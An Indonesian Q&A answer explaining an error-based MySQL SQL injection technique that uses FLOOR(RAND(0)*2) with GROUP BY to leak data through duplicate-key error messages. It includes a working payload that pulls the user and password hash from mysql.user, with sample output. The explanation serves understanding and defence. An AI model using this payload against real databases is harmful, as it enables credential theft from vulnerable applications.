Mysql
 sql >> Teknologi Basis Data >  >> RDS >> Mysql

Serangan SQL Injection - Apa fungsinya?

Apa sebenarnya serangan itu

Ada detail yang halus namun cerdas tentang serangan ini yang terlewatkan oleh penjawab lainnya. Perhatikan pesan kesalahan Duplicate entry ':sjw:1:ukt:1' for key 'group_key' . String :sjw:1:ukt:1 sebenarnya adalah hasil dari ekspresi yang dievaluasi oleh server MySQL Anda. Jika aplikasi Anda mengirimkan string kesalahan MySQL kembali ke browser, maka pesan kesalahan dapat membocorkan data dari basis data Anda.

Jenis serangan ini digunakan dalam kasus di mana hasil kueri tidak dikirim kembali ke browser (injeksi SQL buta), atau ketika serangan UNION SELECT klasik rumit untuk dilakukan. Ini juga berfungsi dalam kueri INSERT/UPDATE/DELETE.

Seperti yang dicatat Hawili, kueri khusus asli tidak seharusnya membocorkan informasi apa pun, itu hanya pengujian untuk melihat apakah aplikasi Anda rentan terhadap injeksi semacam ini.

Serangan itu tidak gagal seperti yang disarankan MvG, menyebabkan kesalahan ini adalah tujuan kueri.

Contoh yang lebih baik tentang bagaimana ini dapat digunakan:

> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
>                        0x20, FLOOR(RAND(0)*2)) x
> FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'

Mengapa kesalahan muncul

Mengapa kueri menyebabkan kesalahan ini di MySQL agak menjadi misteri bagi saya. Sepertinya bug MySQL, karena GROUP BY seharusnya menangani entri duplikat dengan menggabungkannya. Penyederhanaan kueri Hawili sebenarnya tidak menyebabkan kesalahan!

Ekspresi FLOOR(RAND(0)*2) memberikan hasil berikut secara berurutan, berdasarkan argumen seed acak 0:

> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
 ...

Karena nilai ke-3 adalah duplikat dari nilai ke-2, kesalahan ini dilempar. Tabel FROM apa pun dengan setidaknya 3 baris dapat digunakan, tetapi information_schema.tables adalah tabel yang umum. Bagian COUNT(*) dan GROUP BY diperlukan untuk memicu kesalahan di MySQL:

> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

Kesalahan ini tidak terjadi pada kueri yang setara dengan PostgreSQL:

# SELECT SETSEED(0);
# SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
 count | x 
-------+---
    83 | 0
    90 | 1

(Maaf terlambat menjawab 1 tahun, tetapi saya baru menemukannya hari ini. Pertanyaan ini menarik bagi saya karena saya tidak mengetahui ada cara untuk membocorkan data melalui pesan kesalahan dari MySQL)



  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. PHP &MySQL Bagaimana menampilkan kategori setiap sub kategori dari database

  2. Konfigurasi Replikasi Database Master-Master MySQL

  3. Permintaan MySQL ke ElasticSearch

  4. Cara Mengoptimalkan Kinerja MySQL Menggunakan MySQLTuner

  5. Cara membuat database dengan Liquibase